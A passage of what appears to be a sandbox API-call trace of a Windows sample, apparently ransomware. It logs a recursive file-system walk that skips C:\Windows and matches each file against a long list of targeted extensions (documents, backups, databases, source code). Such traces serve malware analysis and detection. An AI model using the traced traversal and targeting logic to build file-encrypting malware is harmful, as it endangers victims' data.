hFindFile=0x39318c8, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0039.609] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3fd7e38 [0039.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931948 [0039.610] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.610] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0039.610] FindClose (in: hFindFile=0x3931948 | out: hFindFile=0x3931948) returned 1 [0039.610] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fd7e38 | out: hHeap=0x5f0000) returned 1 [0039.610] FindNextFileW (in: hFindFile=0x39318c8, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0039.611] FindClose (in: hFindFile=0x39318c8 | out: hFindFile=0x39318c8) returned 1 [0039.611] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0039.611] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0039.611] FindClose (in: hFindFile=0x3931988 | out: hFindFile=0x3931988) returned 1 [0039.611] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3ed2de0 | out: hHeap=0x5f0000) returned 1 [0039.613] FindNextFileW (in: hFindFile=0x3931888, lpFindFileData=0x33cf58c | out: lpFindFileData=0x33cf58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0039.613] FindClose (in: hFindFile=0x3931888 | out: hFindFile=0x3931888) returned 1 [0039.613] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38e06c8 | out: hHeap=0x5f0000) returned 1 [0039.613] FindNextFileW (in: hFindFile=0x3931808, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0039.613] FindClose (in: hFindFile=0x3931808 | out: hFindFile=0x3931808) returned 1 [0039.613] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f42010 | out: hHeap=0x5f0000) returned 1 [0039.614] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7f01c4b0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7f01c4b0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0039.614] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38e06c8 [0039.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7f01c4b0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7f01c4b0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931808 [0039.614] FindNextFileW (in: hFindFile=0x3931808, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7f01c4b0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7f01c4b0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.614] FindNextFileW (in: hFindFile=0x3931808, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0039.614] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3ed2de0 [0039.615] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x33cf58c | out: lpFindFileData=0x33cf58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931908 [0039.783] FindNextFileW (in: hFindFile=0x3931908, lpFindFileData=0x33cf58c | out: lpFindFileData=0x33cf58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.783] FindNextFileW (in: hFindFile=0x3931908, lpFindFileData=0x33cf58c | out: lpFindFileData=0x33cf58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0052.406] FindNextFileW (in: hFindFile=0x3931808, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.406] FindNextFileW (in: hFindFile=0x3931808, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 Thread: id = 19 os_tid = 0xa1c [0033.695] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39006d8 [0033.696] lstrlenW (lpString="C:") returned 2 [0033.696] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x350fd00 | out: lpFindFileData=0x350fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x6e3330 [0033.696] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.696] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0033.696] lstrlenW (lpString="$Recycle.Bin") returned 12 [0033.696] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0033.696] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39106e0 [0033.696] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.696] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e3370 [0033.697] FindNextFileW (in: hFindFile=0x6e3370, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.697] FindNextFileW (in: hFindFile=0x6e3370, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0033.697] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.697] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0033.697] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0033.697] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0033.697] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x39206e8 [0033.697] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.697] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e43b8 [0033.697] FindNextFileW (in: hFindFile=0x6e43b8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.697] FindNextFileW (in: hFindFile=0x6e43b8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0033.697] lstrlenW (lpString="desktop.ini") returned 11 [0033.697] lstrlenW (lpString=".1cd") returned 4 [0033.697] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0033.698] lstrlenW (lpString=".3ds") returned 4 [0033.698] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0033.698] lstrlenW (lpString=".3fr") returned 4 [0033.698] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0033.698] lstrlenW (lpString=".3g2") returned 4 [0033.698] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0033.698] lstrlenW (lpString=".3gp") returned 4 [0033.698] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0033.698] lstrlenW (lpString=".7z") returned 3 [0033.698] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0033.698] lstrlenW (lpString=".accda") returned 6 [0033.698] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0033.698] lstrlenW (lpString=".accdb") returned 6 [0033.698] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0033.698] lstrlenW (lpString=".accdc") returned 6 [0033.698] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0033.698] lstrlenW (lpString=".accde") returned 6 [0033.698] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0033.698] lstrlenW (lpString=".accdt") returned 6 [0033.698] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0033.698] lstrlenW (lpString=".accdw") returned 6 [0033.698] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0033.698] lstrlenW (lpString=".adb") returned 4 [0033.698] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0033.698] lstrlenW (lpString=".adp") returned 4 [0033.698] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0033.698] lstrlenW (lpString=".ai") returned 3 [0033.698] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0033.698] lstrlenW (lpString=".ai3") returned 4 [0033.698] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0033.698] lstrlenW (lpString=".ai4") returned 4 [0033.698] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0033.698] lstrlenW (lpString=".ai5") returned 4 [0033.698] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0033.698] lstrlenW (lpString=".ai6") returned 4 [0033.698] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0033.698] lstrlenW (lpString=".ai7") returned 4 [0033.698] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0033.698] lstrlenW (lpString=".ai8") returned 4 [0033.698] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0033.699] lstrlenW (lpString=".anim") returned 5 [0033.699] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0033.699] lstrlenW (lpString=".arw") returned 4 [0033.699] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0033.699] lstrlenW (lpString=".as") returned 3 [0033.699] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0033.699] lstrlenW (lpString=".asa") returned 4 [0033.699] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0033.699] lstrlenW (lpString=".asc") returned 4 [0033.699] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0033.699] lstrlenW (lpString=".ascx") returned 5 [0033.699] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0033.699] lstrlenW (lpString=".asm") returned 4 [0033.699] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0033.699] lstrlenW (lpString=".asmx") returned 5 [0033.699] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0033.699] lstrlenW (lpString=".asp") returned 4 [0033.699] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0033.699] lstrlenW (lpString=".aspx") returned 5 [0033.699] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0033.699] lstrlenW (lpString=".asr") returned 4 [0033.699] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0033.699] lstrlenW (lpString=".asx") returned 4 [0033.699] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0033.699] lstrlenW (lpString=".avi") returned 4 [0033.699] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0033.699] lstrlenW (lpString=".avs") returned 4 [0033.699] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0033.699] lstrlenW (lpString=".backup") returned 7 [0033.699] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0033.699] lstrlenW (lpString=".bak") returned 4 [0033.699] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0033.699] lstrlenW (lpString=".bay") returned 4 [0033.699] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0033.699] lstrlenW (lpString=".bd") returned 3 [0033.699] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0033.699] lstrlenW (lpString=".bin") returned 4 [0033.699] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0033.699] lstrlenW (lpString=".bmp") returned 4 [0033.699] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0033.700] lstrlenW (lpString=".bz2") returned 4 [0033.700] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0033.700] lstrlenW (lpString=".c") returned 2 [0033.700] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0033.700] lstrlenW (lpString=".cdr") returned 4 [0033.700] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0033.700] lstrlenW (lpString=".cer") returned 4 [0033.700] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0033.700] lstrlenW (lpString=".cf") returned 3 [0033.700] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0033.700] lstrlenW (lpString=".cfc") returned 4 [0033.700] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0033.700] lstrlenW (lpString=".cfm") returned 4 [0033.700] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0033.700] lstrlenW (lpString=".cfml") returned 5 [0033.700] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0033.700] lstrlenW (lpString=".cfu") returned 4 [0033.700] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0033.700] lstrlenW (lpString=".chm") returned 4 [0033.700] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0033.700] lstrlenW (lpString=".cin") returned 4 [0033.700] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0033.700] lstrlenW (lpString=".class") returned 6 [0033.700] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0033.700] lstrlenW (lpString=".clx") returned 4 [0033.700] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0033.700] lstrlenW (lpString=".config") returned 7 [0033.700] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0033.700] lstrlenW (lpString=".cpp") returned 4 [0033.700] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0033.700] lstrlenW (lpString=".cr2") returned 4 [0033.700] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0033.700] lstrlenW (lpString=".crt") returned 4 [0033.700] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0033.700] lstrlenW (lpString=".crw") returned 4 [0033.700] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0033.700] lstrlenW (lpString=".cs") returned 3 [0033.700] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0033.700] lstrlenW (lpString=".css") returned 4 [0033.700] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".csv") returned 4 [0033.701] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".cub") returned 4 [0033.701] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".dae") returned 4 [0033.701] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".dat") returned 4 [0033.701] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".db") returned 3 [0033.701] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0033.701] lstrlenW (lpString=".dbf") returned 4 [0033.701] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".dbx") returned 4 [0033.701] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".dc3") returned 4 [0033.701] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".dcm") returned 4 [0033.701] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".dcr") returned 4 [0033.701] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".der") returned 4 [0033.701] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".dib") returned 4 [0033.701] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".dic") returned 4 [0033.701] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".dif") returned 4 [0033.701] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".divx") returned 5 [0033.701] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0033.701] lstrlenW (lpString=".djvu") returned 5 [0033.701] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0033.701] lstrlenW (lpString=".dng") returned 4 [0033.701] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".doc") returned 4 [0033.701] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0033.701] lstrlenW (lpString=".docm") returned 5 [0033.701] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0033.701] lstrlenW (lpString=".docx") returned 5 [0033.701] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0033.702] lstrlenW (lpString=".dot") returned 4 [0033.702] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0033.702] lstrlenW (lpString=".dotm") returned 5 [0033.702] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0033.702] lstrlenW (lpString=".dotx") returned 5 [0033.702] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0033.702] lstrlenW (lpString=".dpx") returned 4 [0033.702] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0033.702] lstrlenW (lpString=".dqy") returned 4 [0033.702] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0033.702] lstrlenW (lpString=".dsn") returned 4 [0033.702] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0033.702] lstrlenW (lpString=".dt") returned 3 [0033.702] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0033.702] lstrlenW (lpString=".dtd") returned 4 [0033.702] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0033.702] lstrlenW (lpString=".dwg") returned 4 [0033.702] lstrcmpiW (lpString1=".dwg", 